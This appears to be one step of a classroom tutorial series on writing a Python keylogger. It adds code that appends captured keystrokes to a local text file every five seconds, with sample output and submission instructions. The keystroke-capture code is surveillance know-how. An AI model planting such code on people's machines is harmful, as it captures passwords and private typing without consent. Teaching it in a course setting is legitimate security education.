Part 5: Python Keylogger

Contents

Time required: 30 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

NOTE: pynput is supported in the latest version of Kali Linux. You must update Kali.

```
sudo apt update
# You may need to run this a couple of times until there are no more updates
sudo apt dist_upgrade -y
```

Key Logger 5

Let's save our captured keystrokes to a file.

1. Save **frog_4.py** as **frog_5.py**
2. Add a method to save the keystroke log to a file.

```
56  # ------------------------------ LOG TO FILE ------------------------------ #
57      def log_to_file(self):
58          try:
59              # Create a file handle for appending to frog_logger.txt
60              with open("frog_logger.txt", "a") as file_handle:
61                  # \n is an escape character creating a new line
62                  file_handle.write(f"{self.log}\n")
63
64                  print(f"File written successfully.")
65
66          # Let the user know if there was an exception
67          except Exception as e:
68              print(f"The file was not written: {e}")
```

3. Modify the report method to call the **log_to_file()** method.

```
69      # ------------------------- REPORT ---------------------------------- #
70      def report(self):
71          while self.running:
72              # Print log to console for testing
73              print(self.log)
74
75              # Save log to a text file
76              self.log_to_file()
77
78              # Clear the report log
79              self.log = ""
80
81              # Wait for 5 seconds before the next report
82              sleep(5)
```

Example run:

```
Keylogger started
File written successfully.
this is a tes o
File written successfully.
f the file stuff
File written successfully.
Exiting Key Logger
```

Text file:

frog_logger.txt

```
1   Keylogger started
2   this is some
3   stuff to write to the file
4   Keylogger started
5   this is a tes o
6   f the file stuff
```

Linux

Change to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 frog_5.py

Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.